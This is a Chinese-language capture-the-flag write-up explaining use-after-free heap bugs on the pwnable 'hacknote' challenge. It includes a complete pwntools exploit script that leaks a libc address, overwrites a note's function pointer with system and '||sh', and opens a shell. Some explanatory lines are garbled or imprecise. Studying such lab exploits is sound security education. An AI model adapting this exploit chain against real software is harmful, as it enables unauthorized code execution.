UAF
概述
use after free(UAF)是heap中十分常见的一个攻击漏洞,这个漏洞主要是因为程序员在malloc空间之后没有清空指针,同时也没有清空malloc的内容,导致了攻击者可以重复利用这个指针来进行操作,举个例子就是有一张政府官员的通行证,官员使用以后随手丢弃了,导致被一个百姓捡到,他拥有了使用的权限,导致滥用权力。
实验
环境准备
我们取pwnable_hacknote为例子,除了pie别的都开启了的一位32位的程序,静态分析一下,主要是这三个函数,我们可以观察到ptr数组是关键,用户申请的空间就是记录数据的一个chuck,然后再delete的时候可以发现没有删除指针,导致uaf漏洞的产生,比如说我们调用一个chuck里函数的时候呢,里面的函数是我们之前写进去的函数和数据,那不就产生漏洞了吗,正如下面所示(*ptr[index])(ptr[index]):我们就可以利用它了。
)
)
)
解析
int p1=malloc(0x80);
int p2=malloc(0x80);
free(p1);
free(p2);
//0x80进入unsorted bin,0x08进入fast bin
int p3=malloc(0x08);
//得到了p2的读写权限
show(0);
//直接使用chuck进行操作,创造了rwx空间
EXP
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
debug = 1
if debug==1:
io = process("./hacknote")
else:
io = remote("node4.buuoj.cn",26342)
elf = ELF("./hacknote")
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.send(content)
def delete(index):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def show(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
puts_addre = 0x0804862b
read_addre = elf.got["read"]
add(0x80,'aaaa')
add(0x80,'bbbb')
delete(0)
delete(1)
payload = p32(puts_addre)+p32(read_addre)
add(8,payload)
show(0)
read_addre = u32(io.recv(4))
print(hex(read_addre))
libc = LibcSearcher("read",read_addre)
libcbase = read_addre-libc.dump("read")
system_addre = libcbase+libc.dump("system")
delete(2)
payload = p32(system_addre)+b'||sh'
add(8,payload)
show(0)
io.interactive()